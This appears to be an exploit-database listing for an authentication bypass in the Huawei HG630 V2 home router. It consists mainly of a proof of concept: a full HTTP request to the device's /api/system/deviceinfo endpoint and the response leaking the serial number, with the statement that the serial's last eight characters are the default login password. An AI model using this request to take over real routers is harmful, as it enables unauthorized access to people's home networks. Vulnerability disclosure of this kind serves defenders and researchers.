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Huawei HG630 2 Router - Authentication Bypass Vulnerability

Author
Eslam Medhat
Risk
[
Security Risk High
]
0day-ID
0day-ID-34225
Category
web applications
Date add
13-04-2020
Platform
hardware
# Title: Huawei HG630 2 Router - Authentication Bypass
# Author: Eslam Medhat
# Vendor Homepage: www.huawei.com
# Version: HG630 V2
# HardwareVersion: VER.B
# CVE: N/A

#POC:

The default password of this router is the last 8 characters of the
device's serial number which exist in the back of the device.

An attacker can leak the serial number via the web app API like the
following:

************************Request************************
GET /api/system/deviceinfo HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/
X-Requested-With: XMLHttpRequest
Connection: close
Cookie:
SessionID_R3=0PVHKCwY01etBMntI9TZZRvYX04emsjws0Be4EQ8VcoojhWaRQpOV9E0BbAktJDwzI0au6s1xgl0Cn7bvN9rejjMhJCI1t07f2XDnbo09tjN4mcG0XMyXbMoJLjViHm


************************Response************************
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jan 2010 09:14:47 GMT
Connection: Keep-Alive
Content-Language: en
Content-Type: application/javascript
Content-Length: 141

while(1); /*{"DeviceName":"HG630
V2","SerialNumber":"T5D7S18815905395","ManufacturerOUI":"00E0FC","UpTime":33288,"HardwareVersion":"VER.B"}*/


You can use that serial number to login to the router.

#Reference:
https://www.youtube.com/watch?v=vOrIL7L_cVc

#  0day.today [2024-12-25]  #